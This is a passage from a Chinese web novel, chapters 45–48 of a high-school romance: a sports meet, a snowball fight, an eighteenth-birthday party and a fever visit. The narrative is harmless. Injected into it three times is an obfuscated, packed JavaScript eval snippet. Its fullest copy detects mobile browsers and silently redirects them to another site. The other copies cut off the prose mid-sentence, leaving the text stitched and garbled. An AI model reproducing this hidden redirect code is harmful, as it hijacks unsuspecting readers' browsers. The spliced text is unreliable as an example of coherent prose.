卖部买的矿泉水,我可没给你加佐料。”乔洛没明白,矿泉水怎么会有甜味?无头无脑的。 “可能因为是你给的吧……”丁似霰声音越来越小,大概也是困了。 上午是正常上课的作息,下午开运动会,又跑了这么久,也难怪会困。 乔洛看到丁似霰闭着眼睛,躺在她肩上,忽地反应过来了这其中的道理,偏过头去小声问道,“那是不是我给你什么都是甜的?” “嗯,你给的都甜……”丁似霰像是在说梦话,又好像是真心话。 他睡着了。 还挺可爱的。 乔洛悄悄给他照了下来,把这一幕留了一个纪念。 不得不说,丁似霰的睡相很好,一点都不乱动,安安静静地趴着。 也不流口水不打呼,嗯,不错。 初秋的晌午,太阳尽情散发它的光热,微风轻拂又掺杂些许凉爽,不知是哪种鸟儿,在树梢偶尔叫上几声,声音脆亮,连熙熙攘攘的聊天声音都难以掩盖。 操场上一组又一组的比赛还在进行着,观众席的角落,乔洛和丁似霰静静地坐着。哦,丁似霰是沉沉地睡着。 明明跑步的是他,乔洛却感觉自己的心跳也有些快。 这张脸已经看了第三个年头了,竟然……感觉越来越好看了。 丁似霰十几分钟后便醒了,抻个懒腰,眼神迷茫地坐了起来。 “猜猜刚才高二的那个小子成绩怎么样?”乔洛道。 “不想猜,肯定比我快。”丁似霰对于比他强的人,并不好奇。 “嗯,确实,快了那么一点点。”乔洛道,“比你快了二点几秒。” “我这么厉害?”丁似霰一下子又自信起来。 “是呢,我光哥最后还给我摆了个poss,又没冲刺,才比他慢了二点几秒,”乔洛凑到他耳边,“我单方面宣布你是新材高中一千米的王者。” 乔洛难得很正经地夸了一下丁似霰,他竟一瞬间耳朵尖通红。 “啧啧,谁说自己脸皮厚来着?” 丁似霰扶着旁边的栏杆站起身,“我是……是热的!今天太热了,太热了……” 乔洛也站起来,拍了拍屁股上的土,“好啦,你醒的也挺及时,过会我就要去扔铅球了。” “走呀,我去看看你战况如何!” 广播里,传来了读加油稿的声音。 “我怎么感觉去年没听过你读这种稿子?”丁似霰突然想起去年的运动会。 “瘸了啊,禁止虐待残疾人,而且高二这批很积极的,当时就让他们自己谁想读谁读了。” “唉,好遗憾,早知道就提前申请今年想听你给我读加油稿子了。” “我都退休了,放过我吧,而且你又要我看你跑赛又要我给你读稿子,我是闪电侠吗,一秒从主席台闪到操场上?”乔洛抻了抻胳膊,似是在为扔铅球做准备。 “哈哈,确实过分了点,”丁似霰看着乔洛:“啊……你今年不会再把胳膊伤了吧?我可没见你练过扔铅球。” “那是你体育课的时候沉迷于跑圈,我扔了好几次了!”乔洛从裤子里掏出号码牌,然后用别针别在了胸前,“走,带你看看什么是怪力少女。” 当时乔洛报铅球不过就是充个人数,防止又要抽签抽到跑赛,没想到体育课试着扔了一下,7.8m。 而后又随便练了几下,最好一次甚至将近10m,大概乔洛真是天生怪力。不过她把这一切归功于这么多年来搬上楼的那些袋大米白面和食用油。 最后,乔洛美滋滋拿到了高三女子组铅球第三名。 “也算贼不走空,年年有奖。”乔洛对自己三年来的运动会参与度非常满意。 丁似霰接了一句,“而且领域极广,全面发展。” 他们沿着操场边缘走着,渐渐走到了高一十班的位置。确实还是高一的时候听话,学生们多数都规规矩矩坐在座位里,不像其他两届老滑头,座位区早就零零散散了。 乔洛看着天边的云彩,感觉似乎和两年前的没什么不一样。 她忽地侧过身,抬起头:“你当时为什么……想找我玩呢?按理说我和你,基本不会有什么交集的。” 45. 大雪 “好问题,”丁似霰回答得很诚恳,“说实话我也不知道,最开始只是初中的时候第一次考试你的名字横空出世,我就对你这个名记忆很深刻。后来就会不自觉关注你,每次发全县排名的榜单,都想去看看。” “所以你是想把我超过去?” 丁似霰摇了摇头,“没有,我和你根本不是一个级别的,从来没有过那种不切实际的想法。” “那得恭喜你,实现了阶级跨越,现在和我不相上下。” “那是你不想进火箭班了,需要我帮你回忆一下上学期期末你的成绩吗?” 二十九名,是两次期末的折合成绩,实际上乔洛一次考了十二名,一次考了四十一名。 “那倒是不用,”乔洛突然停了下来,“丁似霰,我有个事情想告诉你。” “看起来还是挺重要的事情?”丁似霰也停住了脚步。 乔洛是个藏不太住事情的人,对于喜欢丁似霰这个认知,在多重印证下她已经十分确信,刚才那一瞬间,她想摊牌。 但仅仅一瞬间,她就后悔了。反正还有很多时间和机会,不着急。 “……选个好看点的奖品,太丑了我不要。” “这个事啊!那一会你来选,反正男生先颁奖,女生组的也可以拿。” 虽然知道丁似霰在开玩笑,但乔洛还是忍不住吐槽他,“你要不要讲点武德,难道把黑不溜秋的东西留给女孩子吗?” “说不定呢,黑色,端庄大气上档次,女生还可能更喜欢。” 或许别的东西有这种可能,但乔洛敢肯定,新材高中自制的保温杯绝对不会,那东西黑乎乎的是真丑。 今年一千米一等奖的奖品竟然不是保温杯!是机械表。 丁似霰真的选了一块黑色的,倒是很好看。 他刚领过奖,就迫不及待把手表戴在了乔洛的手腕上。 乔洛平时没有戴手表的习惯,当天晚上洗澡之前就把它摘了下来,但那手表,乔洛放在背包里好多年,直到它指针再也无法自行挪动哪怕一点,直到换了很多个修表师傅都无能为力。 回想起来,高三上学期接下来的时间都没什么波澜,每天就是紧锣密鼓地把新课讲完,然后疯狂地做题,再抓紧时间开始复习。 那年冬天的雪来得很早。 十一月初,下午第四节课时,外面就开始飘起了雪花。 一节自习课。 “可期,你说这雪等放学的时候能不能打雪仗?”乔洛偷偷趴着窗户向外看。 “按照这个架势,一会晚饭的时候就能玩。”杨可期拽着乔洛衣角,把她拽回椅子上,“你别这么嚣张,教室里新装的监控,小心老王头一会过来骂你。” “不可能的,他眼睛都快长在火箭班了。”乔洛收回在外面接雪花的手,雪花落到手上立刻就融化了,只剩下了一个个小液珠。 “你快点把这个卷纸做了,我好几道没做明白的,这套卷怎么这么难。”杨可期在厚厚的一摞卷纸里面抽出了一张数学卷放在乔洛桌子上。 “你是杨扒皮吧?我都准备睡觉了。” “睡什么睡,快点做完了给我讲,沈老师今天说这个他不讲的,学校发一堆卷纸,做不完也讲不完,真浪费。” “杨小姐环保意识突然觉醒了?谁让你昨天把这个做了,赌错了吧?” 下课铃响了。 杨可期直接黏在了乔洛身上,“我的好洛洛,你快点做,就这个选择第六个和第八个,然后最后一个填空,还有后面那个立体几何到底怎么算的二面角,啊对,还有这个导数我是真没算明白。” “我是不是应该庆幸你解析几何算出来了?” “嘿嘿嘿,因为这是个证明题,我倒着推出来了。” “一会下课跟我玩雪去。” “好的好的,洛洛老师。” 上了高三后乔洛也算有长进,虽说做不到高强度的学习,但至少老师要检查的作业她不等着抄答案了,而是牺牲一些睡觉时间把题做完。除此之外,多做的每一道题都是因为杨可期和丁似霰还有许志。 那个雪球是在乔洛和杨可期站在屋檐下,感叹这个雪下得竟然并不大的时候,横空飞来的。 丁似霰很欠揍,他在不知道哪个老师的车上面刮上层的雪攥雪球。 “丁似霰,要不是我今天这个鞋它不防滑,我跟你说你就死定了!”乔洛双手抱在胸前,却很无奈,总不能为了追他把自己摔了吧? 许志突然出现把一捧雪迎面铺在了丁似霰脸上,又飞速跑开了,“没事,我替你报仇哈哈哈哈哈!” 后来,乔洛和杨可期就看着他们追着胡闹。 然后在这两个人的不断“挑衅”下也加入了战斗。不防滑就不防滑吧,摔不死的! 乔洛玩累了,一屁股坐在了台阶上,“这下好了,回去又得洗头发,全湿了。” “我中午回家刚洗的,比你痛苦。”杨可期坐在乔洛身边。 两个男孩像从水中刚出来的某种长毛动物一样甩了甩头发。 “哇,这个动作,真的和夏天的时候小臭白从水里出来的那个一模一样。” “也算你夸我可爱咯。”丁似霰非常乐观。 “不过这雪下的太小了,我原来还以为晚饭的时候就能没过脚脖。”乔洛望着天。 “你应该祈祷放学之前别下太大,不然回家都成问题。”丁似霰又掸了掸身上的雪,也站到了屋檐下面。 “唉,又快上课了,”许志看着教学楼门前的时钟,“还得爬三楼呢,走吧!” “能不能在四班窗户口给我安一个定滑轮?”乔洛总是在想这个不切实际的事情。 但还好,一直有丁似霰应和:“行,那跟王主任唠唠,他要是同意我就给你安一个,天天拽你上去。” 说不清这老天爷是如他们所愿还是不如,晚自习上课铃打响没多久,雪就越下越大。 第二节晚课下课,提前放学了。 老师说明天有可能因为大雪停课,让同学们多带些题回家。 “不带,”收拾书包的乔洛很是坚定,“又不说留什么作业,六科,每科两本练习册一套卷纸,都背回去沉死了。” “也是啊,今天肯定没法骑车,只能走着回家。” “两千米负重越野?”乔洛背起了书包,“我又不是拉磨的驴。” “走吧,刚给我妈打了电话,咱俩一起回去,她们就别来接了。” “嗷,对,我也得和我妈说一下,我出门没带钥匙,她也不知道在不在家,”乔洛道,“不在家我就拐个弯去我姥家蹭夜宵,正好去看看我的菠萝蜜树长得怎么样了。” “那热带的东西真的还活着呢?”杨可期只是之前听乔洛说过,她随手在花盆里丢了一颗菠萝蜜的核,没想到竟然真的长出了枝芽。 “活着呢,都长出木质的树干了,但是我妈说不怎么长高了,越长越胖,跟我一样。” “你又不胖,圆一点多可爱,”丁似霰在门口等着乔洛,正好听到了这句话,他提起了乔洛的书包,“难得今天没人接你,你们俩又不顺路,我来献殷勤当保镖。” “但我并不会忘记你今天打了我多少个大雪球,”乔洛卸下自己的书包,又把杨可期的书包也放在了丁似霰另一根胳膊上,“两边均衡一下,防止你高低肩。” “喳!”丁似霰背着自己的书包,两个胳膊一边又挂了一个书包。 “这种能干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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三分钟后,其实没有那么准确,至少在许志的感知里,绝对没有三分钟。 混战又开始了。 他们扔光了自己手边的雪球,就开始到别人手里抢,抢不到了就直接随手在地上抓一把散着的雪,泼向身边。 “啊!丁似霰你给我站住!”乔洛被丁似霰的一把雪直接洗了脸,她叫嚷着要抓住丁似霰报仇,杨可期和许志自是乐衷于进攻所有除自己以外的人。 天寒地冷,虽有暖气,但是一楼还是会冷,有些家就开了空调。 或许这是独属于北方的摔跤方式。 丁似霰突然间停止狂奔,手在空中快速扑腾以寻求支点。 乔洛一个急刹停到了丁似霰身后,想要伸手扶一下他,却被带得失去了平衡跪坐在他身旁眼睁睁看着他上演“一秒八步,五体投地”。 一人摔跤,三人开心,想来不算亏。 笑归笑,还是要把他扶起来的。 乔洛撑着地面站起身,而后向丁似霰伸出手,“你应该怨这家人太富有了,竟然在家开空调,雪下面一层冰。” “好悬没把我摔死,太恐怖了,富人还是少一点更安全,”丁似霰看着摔红的手掌,很是无奈,而后又弯下腰轻轻拍了拍乔洛裤子上的雪,“你怎么样,摔疼了吗?” “还好,穿得厚没啥感觉。”乔洛说着又拍了拍自己的屁股,果然,后面也沾上了不少雪花。 “好了好了,去吃饭吧,我都饿了。”杨可期小心翼翼绕开那块冰,走到乔洛身边。 “走走走,小区南门口那边新开了家涮串,可好吃了!”许志提到吃的就更激动了,直接跑到了前方去带路。 那就,转移到下一个阵地! 46. 十八岁 雪已经停了,大街上根本没有车通行,偶尔有几个行人走过。 “这天气,涮串店还能开门吗?”丁似霰一脚又踩进了一个雪堆里面。 “会吧,刚开的店生意很好,谁会放弃赚钱的机会,”许志回过头,本想看一看他们三个有没有跟上,却看到了后面开过来的除雪车,“往路里面走走!” 除雪车就像个带轮子的大铲子,把路中央的雪铲起来,飞到路边,给车辆们一个通过的道路,但是路边的行人要是不幸在现场,就会感受到被雪浪拍头的感觉了。 乔洛和杨可期还没反应过来,除雪车就已经开到了附近,她们只得闭上眼睛,双手捂住脸,迅速转过身去。 想象中的雪并没有拍到面前,乔洛小心翼翼睁开眼转过头去,只看到丁似霰张开了他的羽绒服,把她们和扬起的雪浪隔开了。 “嚯,光哥,威武,”乔洛对丁似霰竖了一个大拇指,“哈哈哈哈哈哈哈哈哈哈但你真的好像一只大扑棱蛾子啊哈哈哈哈哈哈哈哈哈哈哈……” “……换个形容,这个天气扑棱蛾子活不了。”铲雪车已经开走了,丁似霰又裹紧了羽绒服。 “那,雄鹰展翅?” “嗯,还不错。” 果然,大雪并不等阻挡东北人民的出行。涮串店还是有很多人,他们甚至等了半个小时才排到位置。 玩过雪,坐在店里暖乎乎吃着涮串,然后吃饱了换下一个地方去玩,还真是充实的一天。 剧院广场有很多小孩子,早就踩出了一条条的路。广场里面还有许多雪人,高矮胖瘦奇形怪状。 似乎在雪的装饰下,连光秃秃的枝头都有了些活力。 剧院广场离新材高中很近了,反正已经走到了这里,乔洛拐去超市买了两块鸡胸肉——去后山栅栏旁边,叫狗! 她本没报什么希望,买鸡胸肉也是准备看不到狗就带回家,明天炸鸡排吃。 没想到一声口哨之下,两个小家伙真的跑了过来。积雪太厚了,它们跳一步就埋进去一次,短短一段路,搞得好像跨栏跑赛。 大雪,还是很有趣的。 忙忙碌碌的,很快就到了十二月末,2008年要结束了。 当然,也要迎来丁似霰同学的十八岁生日了。 乔洛又一次拒绝了丁似霰发出的一起过生日邀请,她说,十八岁是特别的,要给他单独过。 但不太巧,十二月二十二日那天是星期一,开学了。只不过,乔洛订蛋糕这事向来不会被围墙阻挠……倒不是又翻墙出去了,是直接晚自习请了假。 第二节晚自习下课后,乔洛和丁似霰就一人拿着一张假条光明正大地从学校大门走出去,来到了到路对面的蛋糕店,一家可以自己做蛋糕的店铺。 去年就是在这,乔洛陪丁似霰做过一次,这小子大概是上瘾了,在乔洛提出要给他好好过一过这个十八岁生日的时候,说想再来和乔洛一次做一次蛋糕。 这次做了个稍微大一些的加高八寸,一款很漂亮的蓝紫色蛋糕。乔洛还十分耐心地和老板学了怎么做奶油花,把蛋糕一周都用绚丽的花朵包围了,而后在最中间用白巧克力酱画了一个简单的线条狗,虽然只有寥寥几笔,却看起来很是生动。 丁似霰接过巧克力酱,在蛋糕上方画了一个树枝,树枝上有一只小鸟,正歪着头看向地面上的摇尾小狗。 “干嘛?”乔洛看懂了这幅画,笑了起来:“要我一直看着你?” 丁似霰很是乖巧地点着头。 乔洛摘下手套,伸出了手,揉了一把丁似霰的头——这时候再不揉一把,说不过去了。 “咳咳!做好了没有啊两位大师?”杨可期的声音忽然从进门处传来。 许志跟在后面进了屋:“对啊,我俩等着抹奶油呢,你们做这么精致,可不行舍不得!” “抹!今天把丁似霰抹成蓝精灵!”乔洛也十分赞同。 只有丁似霰迟疑地瞪大了眼睛:坏了,今天不是什么温馨画风,一会这是生死局,他得一挑三! 阵地转移到附近的歌厅后,许愿、唱生日歌、吹蜡烛、吃蛋糕,一切还是很温馨的。 仅仅温馨了不到十分钟。 然后丁似霰就在短时间内,变成了限定款蓝精灵。 “哇,这得多留几张照片,光哥今天太帅了真的!”乔洛幸灾乐祸地拿出手机,对着自己刚刚的杰作满意地摁下了快门键。 丁似霰看着乔洛,忽然脑子里闪过了新想法:“来,那光哥给你再表演一个变脸。” 他胡乱把脸上的奶油覆盖地更均匀一些,然后轻轻挠出了一个类似葫芦的轮廓:“美猴王!” 再次抹平,而后在眉心用指尖一划:“二郎神!” 把眉心的标记换成月牙:“包青天!” 乔洛笑得前仰后合,早就忘记了拍照一事。 而后,她就变成了脸谱二号,小猫咪。 乔洛看着脸上的六道小胡子脱口而出:“丁似霰你小子长能耐了是不是!” “是的!”那人很是欠揍地点点头:“你说的今天寿星最大嗷!” “等着,等我十八那天,我要报仇雪恨!” “好呀,等你十八,怎么过都好!” 杨可期忽然捂着脸凑了过来:“诶,那个,不兴喜新厌旧啊,暑假我过生日的时候也要你给我做蛋糕。” 乔洛一脸疑惑:“宝贝儿,我可什么时候亏待过你呢?” 许志狼嚎的声音忽然传了过来,这哥们点了首《纤夫的爱》,刚扯脖喊了一嗓子:“妹妹你坐船头啊!” “提醒一下,我怕你变质。”杨可期迅速逃离了危险现场。她刚刚把脸洗干净,缩到角落拿着话筒去点歌,魔法对轰,不能再让许志这么嚎了,不然今天晚上睡觉脑子里绝对是他一个人单曲循环。 乔洛擦擦手,顺手牵起了丁似霰:“走啦,洗脸去,这奶油再闷一会要长痘了。” 丁似霰很是顺从地跟着乔洛,穿过长长的走廊,走向洗手间。他小心翼翼曲起手指,略微搭在乔洛指尖……这,算牵手吗? 乔洛脸上的奶油并不多,很快就清洗干净了,反倒是丁似霰,被三个人一起迫害,如今洗干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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三个人也伸出胳膊,杯盏之间发出清脆的撞击声,“还有你的十六岁!” “好,那就希望2009年,我们都可以,所得皆所愿!” …… 今年的冬天格外冷,虽说会比去年好上一些,但也下了很多场大雪。 瑞雪兆丰年,但这雪太大了也确实有些影响出行。 自从放寒假以来,已经下了三场雪了,一场比一场大,现在外面哪怕艳阳高照,也丝毫没有暖意。 乔洛还说多亏不学文,要不然高考地理题又多了一个隐患。姜亦瑶听说后连发了三个“暗杀”的表情包,她一点不想在高考的时候研究这两年的反常天气。 许志的求救电话,是在乔洛刚迈进理发店的大门时打过来的。 自从初二那次之后,乔洛只在上高中前进过理发店,还只是微微修了一下发尾的形状。她一向不喜欢剪头发这件事情,但如今长发真的及腰了,好不好看暂且不说,发尾很多分叉是真的有些烦。 而且确实每天晚上十点放学,早上六点四十就要到校,晚上洗头还要吹干,真的很费时间。 在内心博弈了近半年之后,乔洛才决定选在这个假期去理发店,剪头发。 但这种事情一旦有借口打断,那就很难再进行下去。 更何况许志的求救电话是为丁似霰打的。 47. 高烧 丁似霰感冒了,但是自己在家,昨天晚上许志给他打电话想喊他打游戏的时候,他发着烧就没玩。结果今天许志想慰问一下,却一早上也没有打通电话。 许志前几天就已经回了农村,昨天又下了雪,农村现在根本没法通路,只能想着要不然让乔洛去看一眼,别真死家里了。 乔洛挂了电话,就有些心虚地问云锦书,“妈妈,这次先不剪头发了行不行……” 云锦书无奈地笑了笑,“……本来我也没让你来剪啊。” “许志说丁似霰发烧了,然后一早上没接电话,我去看看他有没有死家里。” “行,你注意安全,晚上天黑了的话喊我来接你。”云锦书答应得很痛快。 “好嘞!妈妈拜拜~” 年前的理发店位置不好约,既然乔洛跑了,云锦书索性自己,烫个头。 要不是因为约了上午九点半来理发店,这个时间许志倒是也根本打不通乔洛的电话。 乔洛路过超市的时候还进去买了些雪梨和苹果,以及一杯鲜榨橙汁……这大冷的天气连橙汁都是冰的,嘶,真爽! 本来买苹果是因为那个灯光下显得这个苹果十分漂亮,乔洛有些馋了想吃,雪梨是给丁似霰买的,结果超市售货的阿姨以为她要熬汤,还推销了一下枸杞和红枣,说熬汤的时候一起放进去比较好。 算了,那就买点,然后再多拿两个苹果……因为乔洛是真的想吃苹果了,就算真给他熬雪梨汤也不能耽误乔洛吃苹果。 乔洛给丁似霰打电话也没有打通,好在知道他家在哪,直接怒爬六层楼杀到了丁似霰家门口。 她先礼貌地敲了敲门。 没人回应。 然后又使劲敲了几下。 依旧没人回应。 乔洛把耳朵贴在门上,企图听一听屋子里面的声音。 好像,有那么一点点,细微的咳嗽声。 她又拨通了丁似霰的电话。 那人估计是被她敲门敲醒的,这次电话接通了。 “丁似霰,在不在家?在的话给我开个门,我要在门口冻死了。” “……咳咳,你……是你在敲门?” “对啊,许志让我来检查一下你的生命体征,快点给我放进去。” “我没事,就是静音了,咳……没听到铃声。” “知道啦,所以,快点给我开门来!” “会传染的,我没事,你回去吧。” 他声音很哑,并且听起来很飘,要说这是没事,鬼都不信。 “行吧,我买了点梨放门口了,你快点出来拿,我撤了!” “嗯,谢谢,路上注意安全。” 乔洛坐在楼道里,静静地等着丁似霰上钩。 她掏出一个苹果,随便用纸擦了擦,然后猛咬一大口——好甜!果然对得起这个颜值和价格。 要是这个苹果吃完丁似霰还没出来,那再继续打电话。 才过了不到五分钟,苹果刚刚吃了一半,乔洛就忍不住又拨通了电话。 “你怎么还不出来?”接通电话的时候她刚刚又咬了一大口苹果,飞快地嚼了两口就咽了下去,“雪梨没有诱惑力?” “你……没走?” “没有啊,我忽悠你呢。”乔洛承认得很坦率。 “真的会传染……” “三,二,一,”乔洛倒数三个数后,就开始“雪姨上身”,一边敲着门一边喊着“快开门,我知道你在家,快开门”。 但因为怕大早上打扰到邻居,她敲门的声音并不大,“念经”也是对着手机听筒小声念的。 丁似霰似乎是被她逗笑了,但是边笑边咳的,也听不太清,“咳咳,我真没事,你回去吧……咳咳,一会我就去取。” 乔洛见他还是十分固执,便又换了套路,“反正你不出来我就在门口等着,楼道里死冷死冷的,你家楼道这破窗户还漏风,不被你传染也得冻感冒了。” “你……” “你什么你,快点!” “好吧。” 丁似霰已经烧了有两天了,最开始吃了药还会退烧,但过不了多久就又会烧起来。所以他一直是晕乎乎的状态,说严重一点或许可以算半昏迷。 于是,这人从床上站起来的一瞬间,就像一根倒进开水里面的面条一般,脚下一软倒在了地上。 电话没有挂断,乔洛听到这响动不禁吓了一跳,连忙说道,“你别别,别着急,我忽悠你的,我不是真冷,你慢点!” “……好。” 丁似霰撑着墙站起身,很缓慢地挪到了门前,然后拧开门锁。 乔洛看到的丁似霰,头发有些乱,下半张脸被口罩捂了个严严实实,她不由得惊叹,“你还戴着口罩?这不得闷死?” 不用想,他又得说会传染。 乔洛没等他说话,就伸出手在他额头上试了一下,真的很烫。 她把水果随手扔在地下,关上了门,“你烧多久了?” 丁似霰坐在了门口的椅子上,然后还指了指一旁的空椅子,示意乔洛随便坐,“没多久。” “我扶你回床上躺着吧,”乔洛架起了丁似霰的胳膊,“你吃没吃药?” 鬼使神差的,丁似霰这次说了真话,“吃了,没降下来,就不想吃了。” 所幸丁似霰家里没有多大,从门口走到他的卧室也只有几步的距离。乔洛扶着他又回到床上,才开始吐槽。 “所以你不吃药也不去医院,就在家里硬烧着,你想把自己烧成干尸?” 丁似霰斜靠在床头,显然已经没有了什么力气,“药吃多了胃疼……” “那你为啥不打吊瓶?一般感冒严重了不是都去诊所扎两针就好了吗?”乔洛虽然没这个经历,但她确实看杨可期去诊所输过液,“要不我问问可期输液的诊所能不能来家里打针?” “不,不用,”丁似霰皱着眉打开了手机通讯录,“我有诊所电话。” “为什么之前不打?” 丁似霰犹豫了一会,才弱弱吐出两个字,“……怕疼。” “总比烧成傻子强。” 给诊所打过电话后,丁似霰就躺回了被窝里,脸上还带着那个大口罩。 乔洛直接伸手把口罩扯了下来,“你是真不嫌喘不上来气?” 他这时动作倒快,一下就用被子捂住了大半张脸,只露出来一双眼睛。 乔洛非常轻松地制裁住了丁似霰两只手,然后把被子向下挪一些,“我真的没那么脆,杨可期发着烧跟我睡一张床我都啥事没有,你老老实实趴着吧。” 丁似霰看起来像是放弃了抵抗,毕竟按照他现在这个身体状态,也确实是没法抵抗。 “你打什么药?我记得你说你青霉素过敏来着,不会是要打阿奇吧?”乔洛脱掉了羽绒服,然后坐在丁似霰的旋转椅上。她确实不太喜欢穿着外裤坐在床上,总感觉不是很干净。 “红霉素,以前打过阿奇,作用不是太大。” “嘶,那玩意我怎么记得我小时候打过一次,一边打一边吐……” “你还打过点滴?”在丁似霰的印象里,乔洛好像确实身体一直很好,至少高中这两年多从未见过她打点滴。 “很小的时候,我姥家还是平房,我就记得那个针还是扎在脚上,然后我抱着个奶瓶子边喝边吐,”乔洛仅有的医学常识,大部分来自于杨可期,很小的一部分来自于她自己为数不多的儿时经历,“好像空腹打红霉素刺激更大吧?你是不是也没吃什么东西?” “嗯,没什么胃口。” “你家有什么做起来简单点的吗?我给你做点?” “……方便面。” “这个时候给你吃方便面多少过分了点,”乔洛说着便站起身,“我出去给你买点吃的吧。” “不用了,”丁似霰轻轻扯住了乔洛的衣角,“反正一会都得吐干净。” 乔洛凑得离丁似霰近了些,拿起他的手机,“那不然我问问大夫要不要先给你弄吃的?” 丁似霰瞬间败下阵来:“那……别出去了,厨房里随便弄点啥,我都可以……” “呃……我只会下面条或者做疙瘩汤,你二选一吧。” “我还以为你会说弄点粥。” “我……弄不明白该放多少水,做出来的东西水平太不稳定了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908939|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丁似霰听完,笑了起来,“啊,突然想喝粥了。” “给你大米粒子泡水得了,”乔洛被他笑得有些不好意思,站起身,准备出去做饭,“疙瘩汤?” 丁似霰点点头,倒突然乖巧了一些,“你别烫到。” “我只是做东西不一定好吃,但个人安全系数还是很高的。” “那就好。” 乔洛做饭,简直就是随心所欲的代名词。搅点小面疙瘩,拽几根丁似霰家冰箱里为数不多的菜叶子切成小条,烧锅水弄点蛋花,下面疙瘩加调料,最后再把菜叶放进去煮一会。 她端着碗回到卧室的时候,丁似霰正闭眼攥着被角躺着。 乔洛轻手轻脚走进去,把碗放在桌面上,还没来得及纠结要不要叫他,他就睁开了眼。 “这么快?”丁似霰撑起身,靠坐在床头。 “很简单啊,当然难的我也不会做,”乔洛又重新端起碗,用舀起一勺汤,轻轻吹了吹,送到丁似霰嘴边。 丁似霰咽下一口汤,便想接过碗,但是被乔洛拒绝了。 “你别再手一抖,吧唧洒床上,我难得做回东西吃,不要浪费我劳动成果。” “我这功劳可太大了,发个烧还有人喂东西吃,”丁似霰吞咽时很明显,嗓子不舒服,但这人确实还是比较听话的喂一口就吃一口,并且就算嗓子疼,也没耽误贫嘴,“你不问问我,这汤好不好吃?” “你还看那种爱情片?” “我妈看的时候,看过点。” “说起来我也不太懂,做完吃的为什么不先尝尝味就敢给别人吃。” “比较自信吧。”他淡淡笑着。 “更多是为了显示洗手作羹汤有多爱吧,并且只要是喜欢的人做的,什么玩楞都能咽下去,”乔洛看着丁似霰现在这个模样,突然感觉也可以用这种手法形容一下他。 她放下了勺子,“一会你要是想吃东西了再和我说。” “嗯。”他点点头,伸手去拿桌子上的水杯。 乔洛抢走了,“都不知道什么时候的水了,拔凉的,我刚烧了水,应该晾差不多了。” 和温水一起进到卧室的,还有诊所的郭大夫……以及丁似霰不太想面对的那些针头和吊瓶。 乔洛又坐回旋转椅上,然后微微转远了一些,人家扎针她凑太近了,属实碍事。 郭大夫拿着一个小瓶子,在问丁似霰是直接喝还是输液。 丁似霰表情非常的纠结,显然他一个也不想选。 “这是什么?”乔洛有些好奇。 “氯.化.钾。”他说出这三个字的时候,乔洛能听出深深的生无可恋之意。 “这东西还能喝呐?那不是比打吊瓶快多了,为啥不喝?”乔洛不解。 丁似霰没解释什么,只是深吸了一口气,把这瓶钾一饮而尽。然后,乔洛就明白了他为何这么不想喝这东西。 丁似霰捂着嘴,显然在尽量克制住自己想吐的生理反应,一瞬间他的脸就憋得通红。 “有没有饮料,给他顺顺,”郭大夫对乔洛说道,“不带气的啊!” 乔洛刚才并没有看到他家里有什么饮料,一着急,就直接拿起了自己的橙汁。 刚才不让他喝凉水,现在给他喝冰镇橙汁,还真是……早死晚死都得死。 他稍微缓过劲来,郭大夫就又拿了一个针管,说是先给丁似霰打针退烧针。 “等,等会,”丁似霰对乔洛道,“你要不,先出去待会?” 乔洛不明白为什么,但还是站起身走了出去。 过了不到两分钟她就又回来了,“东西忘记拿了哈。” 枸杞和大枣还在乔洛书包里,她想着好人做到底,直接给丁似霰煮点喝。结果就看到丁似霰趴在床上,头还压在那只……乔洛高一送他的玩具狗上面。 “打吊瓶为什么这个姿势?”乔洛不解。 丁似霰捂着脸,声音很小,“……退烧针扎在屁股上。” “啊……”乔洛好似接收到了新的知识,但呆呆愣在原地没有动。 他转过头,看向乔洛,有些纠结地问道:“你……还想,看吗……” 48. 明天见 “没有没有,我这就出去!”乔洛回过神,忙跑出了丁似霰的卧室。 郭大夫道:“这丫头,一看就没怎么去过医院。” 丁似霰捏着丁小胆的尾巴,淡淡说道:“挺好的,一辈子都感受不到才好呢。” 退烧针是很短暂的,真正又漫长又难熬的是这个需要输上好几个小时的红霉素。 丁似霰血管有些细,小时候经常有打针被扎穿的情况发生,渐渐地他也有些麻木了,每次都是把手伸出去,然后闭上眼听天由命。左手扎不了就再换右手,总会有一针能扎进去的。 乔洛进到卧室的时候,就看到了这一幕。她一瞬间还以为丁似霰睡着了。 好在郭大夫技术比较好,很少出现给他扎穿了的情况。 乔洛这才注意到,墙上的挂钩原来是用来挂吊瓶的。 不知道第一瓶输的是什么,反正还挺快的,郭大夫给他换上了红霉素又调好滴速才准备离开。 因为丁似霰房间里只有一个椅子,当然不好让大夫站着等,反正乔洛也在煮罐头,也就没怎么进卧室,只是告诉他们有什么需要就叫她。 “很高兴为您服务。”她帮丁似霰拿钱的时候,还笑得十分灿烂。 郭大夫收拾好东西,“实在难受就再调慢一点,快输完的时候喊我,我来给你拔针。” “大夫,我会拔针,是不是除了这个不用别的啥操作了?”乔洛道。 “呃……你确定会拔?” “弄不死他,没事的。”乔洛这个答复属实让人有些难以信任。 但丁似霰可能胆子比较大吧,“没事,郭姨,你不用来了,洛洛可以。” 乔洛向来不会做逞强的事,不会的或者不想做的她会直接撂挑子不干了,但只要她说可以的事,确实至少丁似霰还没见到出过任何问题。 况且,不过就是拔个针,大不了肿了明天换只手扎,洛洛主动说了,他当然乐意得很。 送走了郭大夫后,乔洛蹲在丁似霰床边,笑眯眯问道:“我煮了罐头,你要不要尝尝呀,再闷一两分钟就可以了。” 